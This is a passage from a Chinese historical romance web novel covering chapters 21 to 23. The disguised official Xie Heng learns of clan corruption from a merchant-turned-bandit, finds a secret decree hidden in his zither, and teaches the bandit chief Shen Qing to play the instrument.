他将谢珩杯中斟满,自己先举杯喝了一口示意:“谢公子,今日还要多谢你出言提醒,才让我下定决心,归顺了莽山,捡回一条命来。” 谢珩听他说着,垂眸望着杯中色泽微浊的酒,并没有说话。 左思禄自觉有些尴尬,只好一个人默默在旁边啜了两口酒,身边公子忽然举杯将那杯浊酒一饮而尽。 “既然你手上颇有基业,为何宁可落草为寇,也不愿回洛京过安稳的富商日子呢?” 谢珩从未喝过这样粗劣的酒,喉头如在刀尖滚过一遍,他缓声开口,疑惑中还带着一丝质问。 左思禄苦笑一声:“公子,你可知,匹夫无罪,怀璧其罪?若是在洛京还有生机,谁愿意辱没名声,来这山头做土匪呢?” 谢珩不解,偏过头来:“怎么说?” “普天之下,莫不是四大世家的天下啊。” 左思禄悠悠叹了口气,悄悄觑了一眼谢珩的神色,他既 知这公子姓谢,又通身这样的气派,那必定就是出自四世家之首的谢家子弟了。 谢珩眉眼间不见波澜:“所以你是因跟四大世家之间的龃龉,而被逼走回乡的?” 此处不再是洛京,左思禄也不必再顾虑太多:“我啊,本就是一介布衣,祖上三代连个读书人都没有,年轻的时候想着去洛京做些小生意谋生,靠着一身辛劳和些许运气,没想到竟把生意做了起来,在洛京的商户中颇有了些根基和地位。” “但也怪我锋芒太露,不懂急流勇退的道理。四大世家中,桓家虽是排在最末,却是为天下商户之首的皇商大户。近年来我的丝绸和酒楼的生意越做越大,这两样产业几乎快要比肩上桓家,虽然我年年照例向桓家进献了银钱,但也终不能被桓家所容。” 谢珩听出一些门道,但也不全然相信他:“你既是清白坦荡地做生意,还怕被桓家的人抓了把柄吗?” 左思禄摇摇头:“欲加之罪,何患无辞?” “若是桓家用私权和家世胁迫于你,既是洛京天子脚下,你向有司状告申冤,也有人敢公然徇私枉法吗?” 左思禄苦笑一声:“天下司法,如今掌控在谁手中?” 谢珩沉默了。 在朝,大理寺、刑部、御史台,三司之中,近半数官员都出自四大世家中的庾家;在地方,专管司法刑罚的官员,也多出于庾家。时人都称,庾家就是这天下的判官。 而庾家与桓家,世代联姻,从连甚密。 “虽然说起来,我这身家也算跻身富贵之流,可是归根结底,我也只是一介布衣。在四大世家面前,我不过是一只随时可以被捏死的小蚂蚁,他们也没准备给我活路,我不得已只好变卖了家产准备回乡。” “至于接下来的事情,公子你也看到了。说起来也是上天眷顾,留我一命,我回乡路上向各处匪寨都交了买路的银钱,原本也只是求各位寨主能高抬贵手放我出行,没想到路上遇到的最大的催命符,竟然是朝廷官兵。都说官匪一家,官黑起来,那可真是比匪黑多了。” 谢珩不动声色听着,指尖微微攥紧手中瓷杯:“在洛京,你被世家相逼,谢家在其中可有推波助澜?” 左思禄见他一身清正,与洛京中那些斗鸡走狗的世家公子绝然不同,便也坦然:“直接对我赶尽杀绝的,确实只有庾家与桓家,可是四大世家同气连枝,相互之间勾连之深,恐怕公子比我更清楚。公子试想,若四大世家其中能有一家秉公无私,我又怎么会求生无路呢?” 他的一番话,让谢珩再度哑然。 在这件事中,无论谢家是暗中推波助澜,还是袖手旁观,都不该是一个清门世家之首所为。 何况,左思禄虽然是一介布衣,可是财力地位早就远胜一般的平头百姓,连他这样的人在世家的夹缝中都无法生存,那些贫苦百姓,岂不是更加申诉无门? 又想到他此番来渝州种种所见,均田令名存实亡,多少百姓卖儿鬻女,民不聊生。 “公子,实话跟你说了吧,”不知不觉间,两人已经交杯换盏了几轮,左思禄也打开话匣子又凑近了一些:“其实要回绵州,前路凶险,我大可以换条道绕过渝州,只是忽然想明白了,洛京在天子脚下都没有我的容身之处,绵州天高地远,只怕我更加没有活路。” 一说到这个,还不用谢珩多问,左思禄身边的那几个同乡纷纷迫不及待控诉起来:“反正就算回老家,家里的田地也早就被当地那些狗官用各种理由霸占了去,我们没地可种,回去也是要被饿死。” “听说前几天那个要回绵州的庾闻正好在半路给沈寨主给杀了,还好沈寨主替天行道,不然可不知道咱绵州老百姓又要受多少罪!” “诶呀,光杀了庾闻有什么用啊!再换一个官来治理咱们绵州,还是庾家的人,还能指望有好日子不成?” 谢珩听闻这几人因庾闻之死由衷地感到庆幸和赞叹,向那一片喧哗处蓦然回望过去,突然就很想在人群中找到那抹青影。 这时寨外有人踏着积雪飒飒跑了过来。 “老大,今天执意要回绵州的那几个,我们送出了莽山,后来在覆船山,被绿柳寨的人看上了女眷,女眷被强掳上山,还有两个为了保护女眷被当场杀了,只有剩下两个老实没钱的被放走了。” 来人声音没有很大,但大家都安静下来在听他说话,于是他这话,在场的人都听了个清楚。 原本就是预料中的事情,沈青也只是略惋惜了叹了口气:“知道了,继续喝酒吧!” 说话间,她下意识往谢珩坐的方向望过去,目之所见,席间已经看不到白衣青贵的公子。 奇怪,去哪了? 要是平时,她才不操心,只不过他刚才肯定是听了这消息,指不定跑哪里伤心惆怅去了。 美人心忧,当趁机好好安抚一番,缓和缓和两人关系才是。 结果她屋前屋后,屋里屋外,一顿好找,愣是没看见半个人影。真是怪了,总不至于是躲哪里哭去了吧? 还是说自己又喝多了,眼睛开始看不见人了? 沈青纳罕着,脚下一深一浅在积雪中踩得沙沙作响,喘息间呼出的热气,在冷冽的清寒中瞬间消散。 不知不觉,她走上小金顶那座最高的草亭,草亭里空空如也,四下是空寂山风呼啸而来。 冷风吹得人清醒了些,她将手掌抵在眉间,眯了眼四下巡视。 今夜沉沉天边竟然出了一轮明月,高高低低山岗起伏,雪色被渡上一层温柔的幽冷。 直到她目光落在水汽腾腾瀑布边,一抹白衣翩跹,欲随流水直下的身姿,吓得她三魂七魄都要飞出天际。 “谢十三!” “谢十三!你你你……你别动!” 她的声音还飘在空中,人早就如一只青燕踏过白雪落到水边,俯身将谢珩拦腰抱住。 只是她急速俯冲下来的劲儿实在太大,险些将自己连带着怀里的人一同卷入飞流直下的奔腾流水中。 好在谢珩眼疾手快,伸出手臂托住她的后腰,反客为主稳稳将人带了回来。 沈青站稳后,丝毫没意识到刚才的危险,脱口便骂:“不是,你至于吗?受了点打击居然想着自尽?你们谢家风骨就是这样的吗?” 谢珩垂眸看着他一气儿骂完,那张清绝白皙的面容上泛起一点红晕,不知道是喝了些酒还是刚才太急切了的缘故。 他无奈轻叹:“我没有要寻短见,只是出来醒醒酒罢了。” “真的?”沈青不信,仰头凑到他唇畔嗅了嗅,还真有一丝酒味。 谢珩被逼得退了两步,索性拂了拂地上的雪盘腿坐了下来,沈青见状,也非挨着他并肩坐下。 两人静静坐着,谁都没说话,只有腾腾流水从脚边哗哗淌过。沈青撑着下巴,心想这应该是他们两人上次争执过后,第一次如此平静地坐在一起。 好像也没什么特别要感慨的,酒意上头,她这次没喝醉,但眼睛也实在睁不开了。 “沈青。” 耳畔突然这么清凌凌一声直呼大名,她立刻瞪大了眼:“干嘛?” 对上她的清澈目光,谢珩停顿了一下,原本是想说声抱歉,话到嘴边,他又咽回去,重新换成一句:“没事,只是这些天看到的事情,跟我从前见识的不一样。” 那日他被岳瑛戳破,说他因偏见而眼盲心盲,这些日子他倒也重新去细细留意了岳瑛当日反问的几个问题,对沈青的行为处事确实有了些许改观。 先前的确偏见太深,失了公允看待。 沈青偏过头,正好看到他半垂着眸子的侧颜,这人吧,平日里就算会暂时妥协 ,他身上总有一根傲骨撑着。 这会儿,尤其是他身上还带了些许迷离酒意,她从未见过他这样松散柔和的样子,当真是玉山倾颓,见之生怜。 沈青怅然道:“这次你可看清楚了,盗贼本王臣啊。不仅是像左思禄这样的人,还有那个杀了庾闻小孙女的刀疤脸,你记不记得?” 那张无辜被杀的稚嫩小脸立刻浮现眼前,谢珩声音一紧:“嗯?” “那个刀疤脸啊,落草为寇前,他家田地就是被庾闻占了,家里人反抗时,被庾闻的手下给活活打死了,他尚在襁褓中的孩子,也是被官兵扔在地上生生给踩死的。他逃脱了出来,混成孟渊的左膀右臂,当然我倒不是赞同他的做法,只能说这也是庾闻自己种下的因果了。” 身边是一阵长久的沉默,久到她快要睡着了,才听见谢十三轻声回应她:“你不是连鸳鸯两字都不会写吗?竟然能脱口背出‘盗贼本王臣’这样的句子来?” 本以为他又要搬出什么朝廷自有律法的大道理来压她,没想到竟然在打趣她? 她也想起谢十三初上莽山时,她向他请教“鸳鸯”二字逗弄他的事情。 他这会儿拿这个来打趣,看来是真不生气了。 她幽幽叹了口气:“你以为啊,我好歹也是一寨之主,每天要操心很多事情的!总还是要读几句书懂些道理吧。” 她说起话来,从侧面看上去,腮边一鼓一鼓的。 谢珩心想,看来冷战的这些日子,这人倒是大吃大喝一顿没落下,连下颌都圆润了一些。 再联想到自己却独自锁在房中水米不进,他不由得哑然失笑。 沈青狐疑地望向他微扬的唇畔:“我还以为你会伤心欲绝呢,怎么感觉你今晚心情格外好的样子?还是说你喝多了就会比较兴奋?” “不是,只是觉得庆幸,看到了这些。”谢珩矢口否认。 沈青大咧咧接过他的话:“你该庆幸你遇到了我!不然你就跟你那个族兄一样,一直在坐井观天,永远都在做一些徒劳无用的事情,然后把自己弄得越来越偏执,最后走到穷途末路中去。” 谢珩这次虚心求教起来:“你说的徒劳无用是指些什么?” 反正无事,沈青便也闲闲与他道来:“你看谢珩,来渝州这几个月,也算是雷霆手段,本来乱七八糟的地方看上去被他整治得井然有序。可是结果呢,他动的是渝州地方官的根本利益,渝州的那些地方官一心只想置他于死地。再退一步说,他铲除了那些奸邪狗官,可是也没太大的用啊,青煞口杀掳百姓的可还是官府的人。渝州那么大,他一个人管得过来吗?” “就算渝州被他彻底整顿好了,那绵州呢?银州?洛京呢?均田制已经名存实亡多少年了,谢珩一己之力,挽不了大厦将倾。” 谢珩一双眉头不自觉微微蹙紧:“那你有何高见?” 沈青觉得好笑,双肘撑着膝上换了一个更松松垮垮的坐姿:“我要是有高见,我还在这里当土匪?非要想办法的话,那只怕整个大渝都要彻底经历一次刮骨疗毒,谢家也难辞其咎。到时候啊,就算谢珩有这个决心和能力,第一个跳出来阻止他的,就是谢家。” 末了,她认真拍了拍谢珩的肩膀:“你别想了,以后你就安心跟着我吧,你族兄没救了,他那人不撞南墙不死心的,你别跟他受罪了。” 谢珩半仰着头,从沈青的目光看去,温雅笔挺的侧颜正好与月色映雪的起伏山峦重叠映衬。 尤其他那身清傲褪去,玉姿仙貌里平添了几分低迷怅惘,端看之下,沈青还是不自觉收敛了呼吸。 可惜这人偏偏开口,说的话也太不不中听了:“族兄常说,要知其不可为而为。” 沈青此时真想破口大骂,看来他受谢珩的荼毒不浅,要让他的想法有些变通,也不是一朝一夕的事情。 算了。 “行吧,那我先睡了。” 她果断放弃继续掰扯,话音一落,脑袋一歪,重重砸向谢珩肩头。 谢珩下意识抬起臂弯托住她歪倒下来的身子,低头看时,这人已经窝在他臂弯里砸吧着睡得酣熟。 密密长睫也安安静静覆下。 万山载月,雪色尤亮,四下静谧极了,只有流水的声音飞漱不止。 谢珩突然听见自己心口突突猛跳了几下,他忙卸了手上扶住沈青的力气,端直了身子坐好。 果然那些粗劣的酒,不该多喝。 第22章 第22章竟无一并肩同行之人 第二日酒醒,据谢十三交待,沈青才知道自己昨晚是萧瑞他们见她离席后久不见人,不放心寻来,把她扛了回去扔在谢十三的榻上。 不管怎么样,终于又能过上同床共枕的日子了。 虽然谢十三跟她说起话来又恢复了平和温顺,但也能感受到,他始终有些怏怏的,更多的时候,他都是沉默着逗弄安置在窗沿边的那几只小鸟,小雏鸟身上已经覆了一层细细软软的羽毛,终于没有丑得那么惨绝人寰,可惜只会勾着爪子摇摇摆摆走路,还飞不起来。 沈青记得,他刚来莽山的时候,是何等孤傲冷漠,现在性子是柔顺了不少,只是总觉得他周身被一层似有若无的忧伤笼罩着。 这些天的种种经历,几乎要磋磨掉他一身的傲骨。 一道被撕开的裂痕,即便又粘合起来,总还是会留下痕迹,需要时光来慢慢覆去。 诶,管他呢,反正每天一醒来就能看到一张让自己心情大好的脸就行。 跟十三在瀑布边谈心破冰的那天,老天爷也是很给面子地放了晴,赏了一轮月色。 只不过那天过后,老天爷又收起了好脸色,时而沥沥小雪,时而纷纷大雪,莽山延绵,继续被皑皑白雪笼罩着。 谢珩倒是尽职尽责,每日清晨便踩着厚厚的积雪去往草庐给萧瑞讲课教学,沈青乐得清闲,窝在屋子里烤着炭火,懒得出门。 这日谢珩掸落了身上的暮雪跨进屋来,破天荒地见沈青竟然凑在灯边,凝神细细翻阅一卷书册。见他归来,顿时舒展了眉眼,扬手招呼他过去。 “这个左思禄真是个能人,我让他替我管理一下财账,没想到短短几日,整个莽山这几年来乱七八糟的银钱状况被他理出这样一卷分明的账册!” 谢珩倒没什么意外:“他一介布衣,孤身一人独闯洛京,数年间能经营出一番让四大世家都忌惮的生意来,自然是有本事的。” 闻言,沈青眉眼更加明亮:“有此人替我管理财账,那可真是如虎添翼,以后莽山的钱越聚越多,那我可真是……简直前途不可限量!” 在莽山的财务经营上,她向来是抢来就花,花一段时间又继续去抢,财聚财去都随缘,加上她对抢劫对象也多有删选,其实手头经常拮据。 直到今日看了左思禄理出来的账本,她也是第一次直观地感受到,能养活近万的兄弟,手上经营流水比想象中庞大太多,若是能好生管理经营,也实在不容小觑! 谢珩也被她随手在账本上指出的几个数目当头一棒,脸色都冷了几分:“你想要一个什么前途?” 再这样发展下去,一座小小莽山,只怕已经容不下这坐地一只虎了。 沈青晶晶亮亮的眸子像是被一碰冷水泼灭,托腮惆怅道:“走一步看一步呗,别看谢珩最近好像消停了,他肯定在背地里想什么法子呢,我看他剿匪决心可太坚定了,我与他之间必有一场死决。到时候就看,我赢了呢,那就是与天下世家彻底撕破脸,前路更加未知,要是输了呢,我肯定也完了。所以到时候再看吧。” 每次一想到这些,她都觉得头疼不想多说,依依不舍地放下手中账册,神神秘秘从身后取出一个用绸布包裹着的长匣子,并不计较方才谢珩的冷声质问。 “看我给你弄来什么好东西?” 谢珩听到那句“我与他之间必有 一场死决“,一颗心蓦地沉了下去,再看她笑吟吟揭开绸布,缓缓露出的沉香木匣实在太过熟悉。 “上次你不是说你也会弹琴吗?听说弹琴之人对手中的琴要求甚高,所以我给你弄了一把天下最好的琴来。这些天看你心情也不太好,正好可以抚琴解解闷。” 沈青翻开沉香木匣,一只乌木七弦静静卧在匣中。 谢珩瞥了一眼琴尾处龙飞凤舞的题字,不由失笑:“真是辛苦你了,竟然去刺史府把这琴给抢来了。” 见他认出这琴,沈青也坦然:“我听说天下没有比这把琴音色更好的了,还是百年前开朝圣帝亲笔题的字呢。这乌木千年不朽,百年留香,历朝历代下来不知经历了多少名士之手,这琴谢珩能用得,怎么你谢十三用不得吗?反正给你用的,那必然得是最好的。” “……多谢。” 如果不是沈青去刺史府抢了本来就是他的所属之物来送给他,那或许还真是让人有些动容。 沈青双手撑着下巴,满眼期待催促道:“你不是心情不好吗?赶紧抚琴消愁嘛。” 谢珩垂眸,白玉般的指尖缓缓拂过乌木琴身,每一处的纹路和触感都是他熟悉的。 世有名琴,名唤乌尾,相传造于上古,世代相传,百年前圣帝开朝,将此琴赐给了谢家。他只记得,自从学习音律的第一天起,这把琴就是属于自己,他与此琴,人琴不离,才有声动京华的绝妙。 没想到今日这只乌尾,竟也随他落入泥淖之中。 “改天吧,现在太晚了。” 每次拂琴,总是要沐浴焚香,再将乌尾置于白玉琴台上,才能拂动琴弦,眼下这间四下无物的木屋,他实在不忍拂动琴弦。 看着他娴熟地盖上沉香木匣,又披上绸布,沈青尤不死心,撇着嘴问:“就弹一小曲也不行吗?我真想听听这传说中天下第一琴弹出来是个什么声音。” 对上她失望的目光,谢珩心中忽然一滞,开口的时候声音不由得都温和了起来:“我没有心情不好,要不熄灯歇息吧?” 每次他压低了声音款款说道的时候,沈青总是要憧怔一下,满心满眼都是他的如玉容色,温柔细语。 “好……那熄灯歇息。” 反应过来,她麻溜地卷着被子睡进榻里边,能一起共枕同眠,还听什么琴啊! 好一会儿,屋中烛火熄灭,身边有人掀了被子睡进来,她立刻翻身攀着对方的臂膀,凑在他肩头好一阵说话。 无非就是莽山大大小小一些事情,顺便再骂骂谢珩,谢珩也有一下没一下地应付着,直到耳畔说话的声音越来越低,最后变成轻轻浅浅均匀的呼吸。 谢珩却没有睡意。 自见识了三岔湾幼童无辜被杀戮,青煞口在官兵刀尖下瑟瑟发抖的清秀女子,他睡得越来越浅,有时甚至整夜无眠。 他偏头看去,沈青几乎一整张脸都埋在自己臂弯里,睡得正酣。大概是因为知道他先天不足的隐疾,对于他的靠近,他也没再那么抗拒,甚至越发纵容了起来。 他身上的确没有男人粗鄙的腌臜气,枕畔若有若无袭来的是清爽干净的少年气息,说来这令人闻风丧胆的匪头,其实还未及冠,比自己还小上两岁,若是生在洛京,生在谢氏,行事品貌,尤胜过族中不少年轻子弟。 对于沈青心无旁骛地好眠,他有些羡慕地叹了口气,翻身换了一个姿势想试试能不能入睡。 一翻身,入目便看见斑驳陈旧的木桌上,盛着乌尾的沉香匣还置放在上,恍然像是在做梦一样。 想来也真是又好笑又好气,阴差阳错的,在小金顶上的吃穿用度,倒都是用的自己在刺史府的东西。 他绝不信鸣山他们守卫会如此松懈,让沈青的人次次去刺史府取东西如探囊取物,想来应该是他们知道这些东西是抢来给他用的,顺水推舟罢了。 想到这,他突然意识到什么,轻轻抽身坐了起来。 他对这乌尾视若目珠,与其他外物绝然不同,他们定不会这样轻易让沈青将琴带回。 他轻手轻脚走到桌边,重新翻开木匣,伸手往琴身底部探去,换弦处的玄关里,果然缠绕了一卷柔软轻滑的丝绢。 借着窗外微光,铺展开来的丝绢上,是一封密信。 信上说,洛京下了一道圣旨到了刺史府,斥责了他来渝州几月剿匪无功,朝廷命官竟被匪徒满门灭口,身为渝州刺史的他难辞其咎。最后还给他下了一道通牒,让他在除夕前,务必清除渝州所有匪患,否则恐怕要回京治罪。 他沉默地望着丝绢上的字句,颀长身影与房中的昏暗模糊成一片。 一种孤掌难鸣的无力感占据心头。 在渝州几月,他也算是殚精竭虑勤勉治理,看起来是日渐好转,可惜沉疴难愈,即便整治了刘桧杜峤之流,阴暗之下,密密麻麻还不知有多少蟲害,他所做一切,也都是按下葫芦浮起瓢。 至于庾闻之死,他的确难辞其咎,这次若不是庾家在推波助澜,想必这道圣旨也下不来。 还有两位叔父,一个是当朝丞相,一个是大将军,他这般锋芒毕露地行事,朝中早有微词议论到叔父头上,若他被强召回京,也是叔父们乐见其成的。 此时的洛京,各家世族之间恐怕暗潮纷涌。 在朝在野,族里族外,竟无一并肩同行之人。 榻上的人突然翻了个身,谢珩忙把丝绢收入袖中,回头看沈青往他睡的这边蹭了蹭,似乎没有蹭到一个温暖的身子,又颇为不满地蹙眉把被子卷得更紧一些,继续酣睡起来。 趁他在眼前酣睡,谢珩又不自觉盯着他的睡颜端详一会,相比起蛀虫百生的渝州,互相倾轧勾心斗角的世家,连占山为王的悍匪看上去都面目可亲了不少。 若是时间还够,真应该徐徐教化引导,未必不能成朝廷之大才。 可惜马上就要冬至,除夕也近在眼前了。 第23章 第23章倾身握住她的手腕(一更…… 沈青发现,给谢十三抢了这么一把好琴回来,他好像还是每天心事重重的样子,明明闷闷不乐,但又不肯拂琴消愁。 她还就不信了,这天下第一名琴弹出来的琴音,她非听不可! 趁着谢珩去给萧瑞讲学的时候,她也从头到脚好好给自己洗了个干净,又去岳瑛那里拿了几根熏香在房中点上。 真是不懂,这些公子哥弹个琴竟然有这么多破毛病,还是银钱太多每天闲得慌的缘故。正经干活谋生的人家,要有这个雅兴,非得饿死不可。 她一面腹诽,一面又还是轻手轻脚将装着乌尾的沉香木匣放置在窗边,对着窗外千山暮雪的景致拂琴,那应该畅快。 好不容易捱到谢珩回来,她欢快得张开双臂几乎扑了上去:“快看我今天有什么不一样?” 她一扑过来,带动一阵皂荚味的香风,整个人清透爽朗,额前丝丝碎发还是桀骜又张扬。 “……沐浴了?” 闻惯了各种各样典雅名贵的香料,谢珩对这样最简单自然的皂荚香反而更习惯,她靠过来的时候,他不自觉加深了呼吸。 沈青扬了扬双臂,郑重地告知他:“不仅仅是沐浴,我今天光是皂荚就洗了三遍,够虔诚了吧!” 谢珩瞬间明白了她的意思,抬眼看到她身后的桌上也多了一只金兽香炉,正袅袅升烟。 “今日时辰尚早,你总该弹一支曲子试试看了吧?” “……好。”谢珩终于没理由再推脱。 谢十三果然还是会看眼色的时候比较讨人喜欢! 沈青迫不及待侧身让开,又殷勤地搬了一只木椅放在窗前,看着谢珩拂衣坐下,定身,凝神,抬手,拂弦。 她还没来得及欣赏这一套行云流水的动作,他指尖如玉,在琴弦间从容流转,声声曲调从指下流淌而出,萦绕在残旧的屋梁与窗棂,最后与窗外苍山暮雪融为一体。 她愣愣看着那抹白衣俊逸,无论陋室还是雪山,都沦为他的 陪衬,直到耳畔所有的声音都消失,她依然觉得周身被仙乐缠绕,不绝于耳。 “弹完了。”谢珩出声提醒。 她尤自喃喃:“这……什么曲子啊?” “只是洛京流传的一曲小调,洛京中几乎人人都会。” 沈青顿时眼睛都亮了:“那你教我弹吧!” “……啊?” 谢珩本以为,他无非就是会让自己多弹几曲,再多也不过是每天给他弹,倒是没想到他竟然提出要自己学。 “不是人人都会的曲子吗?那我也要学着弹一个!”沈青拉着他的袖子,黑白分明的眸子里很是清亮,仿佛已经看到自己也行云流水潇洒拂琴的模样了。 说着,她还抬起自己早取了绷带的手腕:“放心,我手上的伤都好全了,没问题的!” ……这是手上的伤的问题吗? 谢珩自然是要开口回绝,对上这双眸子,脑海里浮现的却是这双眸子从满怀期望变成失望的样子,话到嘴边,就莫名变成了:“你……会喜欢弹琴?” 恕他实在不能想象沈青能有弹琴的雅致。 沈青“哼”了一声:“按我爹最初的构想,可就是想把我培养成一个琴棋书画都精通的翩翩人物呢!” 见谢十三侧目望她,她耸耸肩:“不过出了点岔子,我就变成现在这副模样了。” 既然她为了学琴能瞎编到这程度,谢珩便也不再拒绝:“也行,不过得从音律学起。” 初学音律极为枯燥,想来他坚持不了几日就自己放弃了。 “那太好了!事不宜迟,请先生赐教!” 沈青露出一个得逞后的狡黠笑容,迅速取了纸笔点了灯,眼巴巴望着谢珩,生怕他反悔了。 谢珩茫然地望着被塞到手上的纸笔,心中还是略感荒唐,这一辈子他的琴技从未授过他人,光是旁人要听他一曲都是求之不得,现在竟然要教一个土匪头子弹琴? 算了,他不是也给萧瑞讲学授课吗?按捺着心底这份荒谬,他终于还是硬着头皮跟沈青讲授起一些音律的基本常识。 原以为他会越听越困,没想到他却撑着下巴精神劲儿越发地足。 灯影映在墙壁上,一个秀挺玲珑,一个颀长温润,时不时交叠一下。 小半宿过去,沈青懂了个七七八八,谢珩终于忍不住问:“你以前……是不是学过些音律?” 沈青挑眉,轻描淡写答他:“没有,只是说明我这人天资聪颖,学什么都快。” * 熟悉了两日音律,沈青终于要开始上手摸琴了。 对此,谢珩自是万般不愿让她去碰乌尾,不过这会儿他也算明白了,这人非缠着要学琴,就是在打乌尾的主意。 想到在小金顶上的日子,过一日少一日,最后过好这些共处的时光,也算不枉一场相识了。 于是在沈青的千呼万唤下,他终于亲手将乌尾摆在她面前。 “照着我们昨日讲过的方式,先从指法开始练起吧。” 谢珩面上没什么表情,但是看到沈青兴致勃勃抬手伸向乌尾时,他心中忍痛默念:“今日你随我颠沛,暂且忍耐一番,过些时日带你……” “哐锵——” 他心里的话还没念完,琴弦上发出一道格外狰狞刺耳的声音,他心脏骤然像被用刀狠狠剜了一下。 “你……” “不是不是,诶呀,不好意思,习惯了一不小心力气用大了些……” 谢珩:“……你这只是力气用大了些吗?” 沈青心虚着坚持狡辩:“你说的指节用力嘛。” “我的意思是,用指节发力,不是让你像打架一样用力,”谢珩摆摆手:“你轻一些,重新来吧。” 沈青深吸了口气,重新摆好手势,她再伸手时,谢珩干脆闭眼不忍再看。 “哐哐——” “诶呀诶呀,还是不行,这东西真是跟习武一样,纸上学明白跟实际上是两回事。” 沈青忙不迭道歉,谢珩脸色肉眼可见地有些发青了,没想到有生之年,竟然能从乌尾这里,听到如此难听的声音。 他怅然轻叹:“要是我族兄亲眼见你如此糟践他的爱琴,这时候大概要吐血。” 这琴跟在他身边,无论擦拭还是换弦,他从来都是不假于人手,无论是父母兄弟,还是贴身小厮侍从,亦未许他人随意乱碰。 如今他眼睁睁看着这琴在沈青手下被糟践,是真有点儿气血上涌,几欲呕血。 沈青顿时憧憬起来:“诶,那可真是希望有这么一天,想想都痛快,直接把他气死,就不用头疼去跟他决一死战了。” 谢珩抿了抿唇,终究无话可说,忽然倾身下来,握住她的手腕。 沈青正懊恼着这琴总弹不好,被这突如其来的靠近吓得一凛:“你……你干嘛?” “我也不忍见你再糟践它。” 谢珩的声音在耳畔浅浅漾开,然后她的手腕不由自主被他的力气带动,这双手仿佛不再属于自己,竟叮叮咚咚拨弄出好听的音符。 重复的音符来来回回不知拨弄了多少回,沈青从一开始的认真跟随渐渐心猿意马起来,因为她发觉,自己的身子几乎被谢十三大半个臂弯圈住,呼吸间都是他身上清冽好闻的气息,尽管大部分时候他都在屏吸敛神,可总是有轻轻浅浅的呼吸打在她的颈间耳后。 这可是除了在睡觉时,很难有的待遇! 叮叮咚咚的琴声掩盖住的,是她胸腔内叮叮咚咚跳动的心脏。 “好了,按这样的发力方式,你自己再试一遍。” 谢珩突然松手,沈青顿时还有些意犹未尽:“啊?要不你再带带我?” “你自己试试吧。” 谢珩坐到一边,也不知是不是不习惯他突然抽身离开,沈青总感觉这人坐得比先前要离自己远了一些。 她只好埋头继续练习,凭借着刚刚记忆中的力道,生疏而笨拙地一个音一个音往外弹。真是纳闷了,同样一根弦,怎么弹出来的音如此天差地别呢?这绝世名琴果真有灵性,难道还懂看人下菜碟不成? 她这会儿的注意力全然回到乌尾上,一心跟这几根琴弦较上劲来,完全不会注意到,谢珩白皙的耳垂下,微微透起的一丝浅绯。 原本以为沈青学琴的兴致,只是因为看到一把好琴燃起的三分钟热度,没想到她竟开始了昼夜不舍的刻苦练习。 谢珩这几日看着乌尾,心中几乎已经麻木,反倒是小金顶上其他兄弟,纷纷跑出来打抱不平了。 尤其是萧瑞,某天一大早顶着两个乌黑的眼圈找沈青控诉:“大哥,咱们人各有所长,你在武功上已经如此登峰造极了,这种弹琴的细致活,我们就不勉强了好吗?” 沈青大手一挥:“你懂什么,世上所有的事情都是一通百通的,我打架厉害,那弹琴肯定厉害,只是我还没打通关窍!” 后来兄弟们实在控诉得太多,她终于也有点自我怀疑了,谢珩倒是没说什么,她又专门去找岳瑛展示了一番,得到岳瑛的支持鼓励后,她终于坚信,小金顶上那群莽汉,懂什么音律懂什么欣赏呢?竟然敢随便质疑打击她! 于是换来的是她更加废寝忘食地练习。 兄弟们抗议无效,也只好看到沈青就捂着耳朵赶紧跑。 沈青才不介意这些,反正她每天叮叮咚咚可开心了,她也觉得,谢十三在教她弹琴的时候,心情也变好了不少。 只是很偶尔的时候,她忽然抬头,总碰上谢十三略有凝重的目光沉沉望向她,视线交汇瞬间,他又若无其事撇头错开。 莫名其妙。 没有糟心的事,小金顶上的日子竟安逸得飞快,不知不觉连冬至都过了。 沈青身上又葵水,想练琴也有心无力,秧秧地在岳瑛房中窝了几日,倒是让兄弟们清净了几日。 冬至长夜过去,这两日她精神头好了些,推窗一看,各个山头又 新覆上了一层白雪。 今年天气实在怪,虽说往年冬日也总有那么一段时间大雪笼盖山头,却也时时放晴,红装素裹,不似今年,已经不知多久又未见过晴天。 不过有了谢十三,这冰天雪地里倒也没这么难捱,等开春的时候,就在小金顶栽一些梅花,那明年今日,茫茫大雪中的小金顶上,也可做些踏雪寻梅的雅事。 真是很难理解那些公子哥儿,这有什么好玩的呢?只不过要陪美人消遣,那就殷勤一些好了。 有了新的打算,她突然振奋了起来,下榻蹬了鞋子扔了一句话留给岳瑛就往外跑:“我今天要办件大事,你跟我来院子里!” 秀颀的青影在雪地里滋溜跑了一路,也招呼了一路兄弟们,等她冲进谢珩的屋子抱出乌尾的时候,满院的清净被渲染得热闹,四下纷纷赶过来的兄弟都有些紧张凝重,等着她要宣布什么大事。 沈青直接在屋外厚厚积雪中架起琴台。 见人来得多,沈青才兴致盎然宣布:“我要给你们展示一下,最近我学琴的技艺!” 一听不是要去打架,而是要听她弹琴,兄弟们顿时就没了兴致,清净几天的耳根又开始痛苦起来。 萧瑞通些音律,对此更加抗拒:“大哥,我觉得你还不如在这里打打拳舞舞剑,兄弟们看得才高兴。再说了,你不为兄弟们考虑,也要为谢十三考虑啊,你这传出去……说是他教的,那对人家名声多不好啊。” 说着他还不望用眼神拼命示意谢珩,希望他千万要阻止沈青这自信满满地展示,太要命了! 竟然敢打击她! 沈青也扬起下巴问谢珩:“你说我弹得怎么样?会不会辱没你的名声?” 谢珩知道她要做的事情,非要反对是收不了场的,于是顺水推舟:“最近曲调练得很顺畅了,可以弹奏一下。” 萧瑞简直震惊又无语,看来大哥平时没少威胁恐吓谢十三,好好这么一个清正公子,居然也开始睁着眼睛说瞎话了! 沈青心满意足地拂衣坐下:“都给我好好听琴!” 连萧瑞都已经无能为力,其他兄弟更加敢怒不敢言,只能纷纷或木着一张脸,或苦着一张脸,等着接下来耳朵要遭受的酷刑。 只有沈青是信心满满的,也学着谢珩的样子,定身,凝神,抬手,拂弦,琴声从指尖倾泻而出瞬间,还真像那么回事。 弹出来的曲子没什么技巧,只能说是流畅,乌尾的音色格外悦耳,最普通的曲调和技法,从它身上发出,倒是有几分天籁了。 萧瑞再无话可说,心中更加佩服的还是谢十三,短短时间内能把一个弹琴如杀猪的人调教成这样,真是神人! 岳瑛微微红了些眼眶,洛京城里再寻常不过的流行小调,今日竟然能在小金顶上闻得。 : 谢珩注意力都在乌尾身上,生怕乌尾被磕碰到,一直站得离沈青很近,直到一曲毕,他才终于将视线从乌尾身上转移到弹琴的人身上。 冷风一路掠过处处覆雪的峰头吹向小金顶,沈青永远都是那样一身青衣单薄,劲瘦匀亭。 